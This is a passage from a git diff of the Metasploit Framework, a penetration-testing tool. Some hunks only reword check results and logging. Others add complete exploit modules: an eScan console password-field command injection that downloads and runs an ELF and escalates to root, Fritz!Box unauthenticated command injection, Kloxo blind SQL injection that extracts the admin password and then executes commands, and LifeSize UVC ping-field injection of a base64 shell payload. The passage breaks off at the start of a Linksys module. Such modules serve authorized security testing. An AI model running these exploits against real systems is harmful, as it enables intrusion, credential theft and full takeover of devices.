-              status = CheckCode::Vulnerable
+              status = CheckCode::Appears
             end
           else
-            status = CheckCode::Vulnerable
+            status = CheckCode::Appears
           end
         end
       when '3'
         # 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
-        status = CheckCode::Vulnerable
+        status = CheckCode::Appears
         if rel.length > 0
           if rel[0,2] != 'rc' and rel[0,1] > 'b'
             status = CheckCode::Safe
diff --git a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb
index 14ea1c0758..b93c06193d 100644
--- a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb
+++ b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'XTACACSD <= 4.1.2 report() Buffer Overflow',
+      'Name'           => 'XTACACSD report() Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By
         sending a specially crafted XTACACS packet with an overly long
diff --git a/modules/exploits/irix/lpd/tagprinter_exec.rb b/modules/exploits/irix/lpd/tagprinter_exec.rb
index 2a22ac30e4..b7f26527e2 100644
--- a/modules/exploits/irix/lpd/tagprinter_exec.rb
+++ b/modules/exploits/irix/lpd/tagprinter_exec.rb
@@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (resp =~ /IRIX/)
-      print_status("Response: #{resp.strip}")
+      vprint_status("Response: #{resp.strip}")
       return Exploit::CheckCode::Vulnerable
     end
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/linux/antivirus/escan_password_exec.rb b/modules/exploits/linux/antivirus/escan_password_exec.rb
new file mode 100644
index 0000000000..6d02b2abb9
--- /dev/null
+++ b/modules/exploits/linux/antivirus/escan_password_exec.rb
@@ -0,0 +1,167 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HttpServer::HTML
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "eScan Web Management Console Command Injection",
+      'Description'    => %q{
+        This module exploits a command injection vulnerability found in the eScan Web Management
+        Console. The vulnerability exists while processing CheckPass login requests. An attacker
+        with a valid username can use a malformed password to execute arbitrary commands. With
+        mwconf privileges, the runasroot utility can be abused to get root privileges. This module
+        has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Joxean Koret', # Vulnerability Discovery and PoC
+          'juan vazquez' # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean
+        ],
+      'Payload'        =>
+        {
+          'BadChars'    => "", # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
+          'DisableNops' => true
+        },
+      'Arch'           => ARCH_X86,
+      'Platform'       => 'linux',
+      'Privileged'     => true,
+      'Stance'         => Msf::Exploit::Stance::Aggressive,
+      'Targets'        =>
+        [
+          ['eScan 5.5-2 / Linux', {}],
+        ],
+      'DisclosureDate' => "Apr 04 2014",
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RPORT(10080),
+        OptString.new('USERNAME', [ true, 'A valid eScan username' ]),
+        OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),
+        OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
+        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
+        OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
+        OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),
+      ], self.class)
+  end
+
+
+  def check
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(target_uri.path.to_s, 'index.php')
+    })
+
+    if res and res.code == 200 and res.body =~ /eScan WebAdmin/
+      return Exploit::CheckCode::Detected
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+  def cmd_exec(session, cmd)
+    case session.type
+    when /meterpreter/
+      print_warning("#{peer} - Use a shell payload in order to get root!")
+    when /shell/
+      o = session.shell_command_token(cmd)
+      o.chomp! if o
+    end
+    return "" if o.nil?
+    return o
+  end
+
+  # Escalating privileges here because runasroot only can't be executed by
+  # mwconf uid (196).
+  def on_new_session(session)
+    cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")
+    super
+  end
+
+  def primer
+    @payload_url = get_uri
+    wget_payload
+  end
+
+  def on_request_uri(cli, request)
+    print_status("Request: #{request.uri}")
+    if request.uri =~ /#{Regexp.escape(get_resource)}/
+      print_status("Sending payload...")
+      send_response(cli, @pl)
+    end
+  end
+
+  def exploit
+    @pl           = generate_payload_exe
+    if @pl.blank?
+      fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
+    end
+    @payload_url  = ""
+
+    if datastore['EXTURL'].blank?
+      begin
+        Timeout.timeout(datastore['HTTPDELAY']) {super}
+      rescue Timeout::Error
+      end
+      exec_payload
+    else
+      @payload_url = datastore['EXTURL']
+      wget_payload
+      exec_payload
+    end
+  end
+
+  # we execute in this way, instead of an ARCH_CMD
+  # payload because real badchars are: |&)(!><'"`[space]
+  def wget_payload
+    @dropped_elf = rand_text_alpha(rand(5) + 3)
+    command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
+
+    print_status("#{peer} - Downloading the payload to the target machine...")
+    res = exec_command(command)
+    if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/
+      register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
+    else
+      fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
+    end
+  end
+
+  def exec_payload
+    command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"
+    command << File.join(datastore['WRITABLEDIR'], @dropped_elf)
+
+    print_status("#{peer} - Executing the payload...")
+    exec_command(command, 1)
+  end
+
+  def exec_command(command, timeout=20)
+    send_request_cgi({
+      'method' => 'POST',
+      'uri'    => normalize_uri(target_uri.path.to_s, 'login.php'),
+      'vars_post' => {
+        'uname' => datastore['USERNAME'],
+        'pass' => ";#{command}",
+        'product_name' => 'escan',
+        'language' => 'English',
+        'login' => 'Login'
+      }
+    }, timeout)
+  end
+
+end
diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb
index 866f6f0ec1..b8fa872f5c 100644
--- a/modules/exploits/linux/ftp/proftp_sreplace.rb
+++ b/modules/exploits/linux/ftp/proftp_sreplace.rb
@@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
     ret = connect
 
     # We just want the banner to check against our targets..
-    print_status("FTP Banner: #{banner.strip}")
+    vprint_status("FTP Banner: #{banner.strip}")
 
     status = CheckCode::Safe
 
@@ -129,16 +129,16 @@ class Metasploit3 < Msf::Exploit::Remote
       relv = rel.slice!(0,1)
       case relv
       when '2'
-        status = CheckCode::Vulnerable
+        status = CheckCode::Appears
 
       when '3'
         # 1.3.x before 1.3.1 is vulnerable
-        status = CheckCode::Vulnerable
+        status = CheckCode::Appears
         if rel.length > 0
           if rel.to_i > 0
             status = CheckCode::Safe
           else
-            status = CheckCode::Vulnerable
+            status = CheckCode::Appears
           end
         end
       end
diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb
index b18b7cc67e..5d69d3b95e 100644
--- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb
+++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb
@@ -274,7 +274,7 @@ class Metasploit3 < Msf::Exploit::Remote
     banner = sock.get_once || ''
 
     # We just want the banner to check against our targets..
-    print_status("FTP Banner: #{banner.strip}")
+    vprint_status("FTP Banner: #{banner.strip}")
 
     status = CheckCode::Safe
     if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
@@ -286,15 +286,15 @@ class Metasploit3 < Msf::Exploit::Remote
         if rel.length > 0
           if rel[0,2] == 'rc'
             if rel[2,rel.length].to_i >= 3
-              status = CheckCode::Vulnerable
+              status = CheckCode::Appears
             end
           else
-            status = CheckCode::Vulnerable
+            status = CheckCode::Appears
           end
         end
       when '3'
         # 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
-        status = CheckCode::Vulnerable
+        status = CheckCode::Appears
         if rel.length > 0
           if rel[0,2] != 'rc' and rel[0,1] > 'b'
             status = CheckCode::Safe
diff --git a/modules/exploits/linux/games/ut2004_secure.rb b/modules/exploits/linux/games/ut2004_secure.rb
index d056df5613..ef2f097f2e 100644
--- a/modules/exploits/linux/games/ut2004_secure.rb
+++ b/modules/exploits/linux/games/ut2004_secure.rb
@@ -92,23 +92,23 @@ class Metasploit3 < Msf::Exploit::Remote
     vers = ut_version
 
     if (not vers)
-      print_status("Could not detect Unreal Tournament Server")
-      return
+      vprint_status("Could not detect Unreal Tournament Server")
+      return Exploit::CheckCode::Unknown
     end
 
     print_status("Detected Unreal Tournament Server Version: #{vers}")
     if (vers =~ /^(3120|3186|3204)$/)
-      print_status("This system appears to be exploitable")
+      vprint_status("This system appears to be exploitable")
       return Exploit::CheckCode::Appears
     end
 
 
     if (vers =~ /^(2...)$/)
-      print_status("This system appears to be running UT2003")
+      vprint_status("This system appears to be running UT2003")
       return Exploit::CheckCode::Detected
     end
 
-    print_status("This system appears to be patched")
+    vprint_status("This system appears to be patched")
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb
index 3fa37da1a3..28344fa3ee 100644
--- a/modules/exploits/linux/http/astium_sqli_upload.rb
+++ b/modules/exploits/linux/http/astium_sqli_upload.rb
@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     # Check version
-    print_status("#{peer} - Trying to detect Astium")
+    vprint_status("#{peer} - Trying to detect Astium")
 
     res = send_request_cgi({
       'method' => 'GET',
@@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote
     post_data = Rex::MIME::Message.new
     post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")
     post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")
-    file = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    file = post_data.to_s
 
     print_status("#{peer} - Uploading Payload [ #{payload_name} ]")
     res = send_request_cgi({
diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb
index d636f73a92..4584c79a40 100644
--- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb
+++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb
@@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     res = send_request_cgi({ 'uri' => '/comm.asp' })
     if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb
index 8776c48df3..ad798e8969 100644
--- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb
+++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb
@@ -12,9 +12,9 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",
+      'Name'           => "Dolibarr ERP/CRM Post-Auth OS Command Injection",
       'Description'    => %q{
-          This module exploits a vulnerability found in Dolibarr ERP/CRM's
+          This module exploits a vulnerability found in Dolibarr ERP/CRM 3's
         backup feature.  This software is used to manage a company's business
         information such as contacts, invoices, orders, stocks, agenda, etc.
         When processing a database backup request, the export.php function
diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb
new file mode 100644
index 0000000000..6990a9491a
--- /dev/null
+++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb
@@ -0,0 +1,115 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStagerEcho
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Fritz!Box Webcm Unauthenticated Command Injection',
+      'Description' => %q{
+        Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection.
+        This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the
+        following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270,
+        7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE,
+        6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270
+      },
+      'Author'      =>
+        [
+          'Unknown', # Vulnerability discovery
+          'Fabian Braeunlein <fabian@breaking.systems>', # Metasploit PoC with wget method
+          'Michael Messner <devnull@s3cur1ty.de>' # Metasploit module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'OSVDB', '103289' ],
+          [ 'BID', '65520' ],
+          [ 'URL', 'http://www.kapple.de/?p=75' ],                       # vulnerability details with PoC
+          [ 'URL', 'https://www.speckmarschall.de/hoere.htm' ],          # probably the first published details (now censored)
+          [ 'URL', 'http://pastebin.com/GnMKGmZ2' ],                     # published details uncensored from speckmarschall
+          [ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], # vendor site with a list of vulnerable devices
+          [ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] # writeup with PoC
+        ],
+      'DisclosureDate' => 'Feb 11 2014',
+      'Privileged'     => true,
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'Targets' =>
+        [
+          [ 'MIPS Little Endian',
+            {
+              'Platform' => 'linux',
+              'Arch'     => ARCH_MIPSLE
+            }
+          ],
+          [ 'MIPS Big Endian',
+            {
+              'Platform' => 'linux',
+              'Arch'     => ARCH_MIPS
+            }
+          ],
+        ],
+      'DefaultTarget'  => 0
+      ))
+  end
+
+  def check
+    begin
+      clue = Rex::Text::rand_text_alpha(rand(5) + 5)
+
+      res = send_request_cgi({
+        'uri'    => '/cgi-bin/webcm',
+        'method'  => 'GET',
+        'vars_get' => {
+          "var:lang" => "&echo -e \"\\n\\n#{clue}\""
+        }
+      })
+      if res && res.body =~ /#{clue}/
+        return Exploit::CheckCode::Vulnerable
+      end
+    rescue ::Rex::ConnectionError
+      return Exploit::CheckCode::Unknown
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def execute_command(cmd, opts)
+    begin
+      res = send_request_cgi({
+        'uri'    => '/cgi-bin/webcm',
+        'method' => 'GET',
+        'vars_get' => {
+          "var:lang" => "&#{cmd}",
+        }
+      })
+      return res
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+    end
+  end
+
+  def exploit
+    print_status("#{peer} - Trying to access the vulnerable URL...")
+
+    unless check == Exploit::CheckCode::Vulnerable
+      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
+    end
+
+    print_status("#{peer} - Exploiting...")
+
+    execute_cmdstager(
+      :linemax => 92
+    )
+  end
+end
diff --git a/modules/exploits/linux/http/hp_system_management.rb b/modules/exploits/linux/http/hp_system_management.rb
index e6a4f2c311..1029c220a0 100644
--- a/modules/exploits/linux/http/hp_system_management.rb
+++ b/modules/exploits/linux/http/hp_system_management.rb
@@ -71,9 +71,12 @@ class Metasploit3 < Msf::Exploit::Remote
       'uri' => "/cpqlogin.htm"
     })
 
-    if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
+    if res.nil?
+      vprint_error("Connection timed out")
+      return Exploit::CheckCode::Unknown
+    elsif res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
       version = $1
-      return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
+      return Exploit::CheckCode::Appears if version <= "7.1.1.1"
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb
new file mode 100644
index 0000000000..0a7a08978f
--- /dev/null
+++ b/modules/exploits/linux/http/kloxo_sqli.rb
@@ -0,0 +1,277 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  Rank = ManualRanking
+  PASSWORD_PREFIX = '__lxen:'
+  BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='
+
+  attr_accessor :password
+  attr_accessor :session
+  attr_accessor :server
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Kloxo SQL Injection and Remote Code Execution',
+      'Description'    => %q{
+        This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
+        exploited in the wild on January 2014. The SQL injection issue can be abused in order to
+        retrieve the Kloxo admin cleartext password from the database. With admin access to the
+        web control panel, remote PHP code execution can be achieved by abusing the Command Center
+        function. The module tries to find the first server in the tree view, unless the server
+        information is provided, in which case it executes the payload there.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Unknown', # Discovery, exploit in the wild
+          'juan vazquez' # Metasploit Module
+        ],
+      'References'     =>
+        [
+          ['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
+          ['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'],           # kloxo exploited in the wild
+          ['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646']    # patch discussion
+        ],
+      'Arch'           => ARCH_CMD,
+      'Platform'       => 'unix',
+      'Payload'        =>
+        {
+          'Space'       => 262144, # 256k
+          'DisableNops' => true,
+          'Compat'      =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' => 'generic perl python gawk bash-tcp netcat'
+            }
+        },
+      'Targets'        =>
+        [
+          ['Kloxo / CentOS', {}]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'Jan 28 2014',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RPORT(7778),
+        OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
+      ], self.class)
+
+    register_advanced_options(
+      [
+        OptString.new('SERVER_CLASS', [false, 'The server class']),
+        OptString.new('SERVER_NAME', [false, 'The server name'])
+      ], self.class)
+  end
+
+  def check
+    return Exploit::CheckCode::Safe unless webcommand_exists?
+    return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
+    return Exploit::CheckCode::Safe unless pefix_found?
+
+    Exploit::CheckCode::Vulnerable
+  end
+
+  def exploit
+    fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable
+
+    print_status("#{peer} - Recovering the admin password with SQLi...")
+    loot = base64_password
+    fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
+    @password = Rex::Text.decode_base64(loot)
+    print_good("#{peer} - Password recovered: #{@password}")
+
+    print_status("#{peer} - Logging into the Control Panel...")
+    @session = send_login
+    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?
+
+    report_auth_info(
+      :host => rhost,
+      :port => rport,
+      :user => 'admin',
+      :pass => @password,
+      :type => 'password',
+      :sname => (ssl ? 'https' : 'http')
+    )
+
+    print_status("#{peer} - Retrieving the server name...")
+    @server = server_info
+    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?
+
+    print_status("#{peer} - Exploiting...")
+    send_command(payload.encoded)
+  end
+
+  def send_login
+    res = send_request_cgi(
+      'method'    => 'POST',
+      'uri'       => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
+      'vars_post' =>
+        {
+          'frm_clientname' => 'admin',
+          'frm_password'   => @password,
+          'login'          => 'Login'
+        }
+    )
+
+    if res && res.code == 302 && res.headers.include?('Set-Cookie')
+      return res.get_cookies
+    end
+
+    nil
+  end
+
+  def server_info
+
+    unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
+      return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
+    end
+
+    res = send_request_cgi({
+      'uri'    => normalize_uri(target_uri.to_s, 'display.php'),
+      'cookie' => @session,
+      'vars_get' =>
+        {
+          'frm_action' => 'show'
+        }
+    })
+
+    if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/
+      return parse_display_info(res.body.to_s)
+    end
+
+    nil
+  end
+
+  def parse_display_info(html)
+    server_info = {}
+    pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)
+
+    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?
+      return nil
+    else
+      server_info[:class] = $1
+    end
+
+    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?
+      return nil
+    else
+      server_info[:name] = $1
+    end
+
+    server_info
+  end
+
+  def send_command(command)
+    data = Rex::MIME::Message.new
+    data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
+    data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
+    data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
+    data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
+    data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
+    data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
+    data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')
+
+    post_data = data.to_s
+
+    send_request_cgi({
+      'method' => 'POST',
+      'uri'    => normalize_uri(target_uri.path.to_s, 'display.php'),
+      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
+      'cookie' => @session,
+      'data'   => post_data
+    }, 1)
+  end
+
+  def webcommand_exists?
+    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))
+
+    if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
+      return true
+    end
+
+    false
+  end
+
+  def pefix_found?
+    i = 1
+    PASSWORD_PREFIX.each_char do |c|
+      return false unless exploit_sqli(i, c)
+      i = i + 1
+    end
+
+    true
+  end
+
+  def bad_char(pos)
+    Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
+  end
+
+  def ascii(char)
+    char.unpack('C')[0]
+  end
+
+  def base64_password
+    i = PASSWORD_PREFIX.length + 1
+    loot = ''
+
+    until exploit_sqli(i, "\x00")
+      vprint_status("#{peer} - Bruteforcing position #{i}")
+      c = brute_force_char(i)
+      if c.nil?
+        return nil
+      else
+        loot << c
+      end
+      vprint_status("#{peer} - Found: #{loot}")
+      i = i + 1
+    end
+
+    loot
+  end
+
+  def brute_force_char(pos)
+    BASE64_RANGE.each_char do |c|
+      return c if exploit_sqli(pos, c)
+    end
+
+    nil
+  end
+
+  def exploit_sqli(pos, char)
+    # $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
+    sqli = "al5i' "
+    sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
+    sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"
+
+    res = send_request_cgi(
+      'method'   => 'GET',
+      'uri'      => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
+      'vars_get' =>
+        {
+          'login-class'    => 'client',
+          'login-name'     => sqli,
+          'login-password' => '123456'
+        }
+    )
+
+    if res && res.code == 200 && res.body.blank?
+      return true
+    elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
+      return false
+    end
+
+    vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful")
+    false
+  end
+
+end
diff --git a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb
new file mode 100644
index 0000000000..c97e1db578
--- /dev/null
+++ b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb
@@ -0,0 +1,140 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "LifeSize UVC Authenticated RCE via Ping",
+      'Description'    => %q{
+      When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker
+      can abuse the ping diagnostic functionality to achieve remote command
+      execution as the www-data user (or equivalent).
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Brandon Perry <bperry.volatile[at]gmail.com>' #discovery/metasploit module
+        ],
+      'References'     =>
+        [
+          ['EDB', '32437']
+        ],
+      'Platform'       => ['unix'],
+      'Arch'           => ARCH_CMD,
+      'Targets'        =>
+        [
+          ['LifeSize UVC version <= 1.2.6', {}]
+        ],
+      'Privileged'     => false,
+      'Payload'        =>
+        {
+          'DisableNops' => true,
+          'Compat'      =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' => 'python'
+            }
+        },
+      'DisclosureDate' => "Mar 21 2014",
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          Opt::RPORT(443),
+          OptBool.new('SSL', [true, 'Use SSL', true]),
+          OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
+          OptString.new('USERNAME', [true, 'The username to authenticate with', 'administrator']),
+          OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin123'])
+        ], self.class)
+  end
+
+  def exploit
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'accounts', 'login/')
+    })
+
+    if !res or !res.body
+      fail_with("Server did not respond in an expected way")
+    end
+
+    if res.code != 200
+      fail_with("Did not get a 200 response, perhaps the server isn't on an SSL port")
+    end
+
+    token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body)
+
+    if token.length < 2
+      fail_with("Could not find token on page.")
+    end
+
+    token = token[1]
+
+    post = {
+      'csrfmiddlewaretoken' => token,
+      'username' => datastore['USERNAME'],
+      'password' => datastore['PASSWORD']
+    }
+
+    #referer is required
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'accounts/'),
+      'method' => 'POST',
+      'vars_post' => post,
+      'headers' => {
+        'Referer' => 'https://' + datastore['RHOST'] + '/accounts/'
+      },
+      'cookie' => 'csrftoken=' + token
+    })
+
+    if !res
+      fail_with("Server did not respond in an expected way")
+    end
+
+    #we want a 302, 200 means we are back at login page
+    if res.code == 200
+      fail_with("Authentication failed. Please check your username and password.")
+    end
+
+    cookie = res.get_cookies
+
+    new_cookie = 'csrftoken=' + token + '; ' + cookie
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'),
+      'cookie' => new_cookie
+    })
+
+    if !res or !res.body
+      fail_with("Server did not respond in an expected way")
+    end
+
+    token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body)
+    token = token[1]
+
+    new_cookie = 'csrftoken=' + token + '; ' + cookie
+
+    pay = 'csrfmiddlewaretoken='+token
+    pay << '&source_ip=' + datastore['RHOST']
+    pay << '&destination_ip=go`echo ' + Rex::Text.encode_base64(payload.encoded) + '|base64 --decode|sh`ogle.com'
+
+    #referer is required
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'),
+      'method' => 'POST',
+      'headers' => {
+        'Referer' => 'https://' + datastore['RHOST'] + '/server-admin/operations/diagnose/ping/'
+      },
+      'cookie' => new_cookie,
+      'data' => pay
+    })
+  end
+end
+
diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb
new file mode 100644
index 0000000000..0e7f7bd091
--- /dev/null
+++ b/modules/exploits/linux/http/linksys_themoon_exec.rb
@@ -0,0 +1,121 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStagerEcho
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Linksys E-Series TheMoon Remote Command Injection',
+      'Description' => %q{
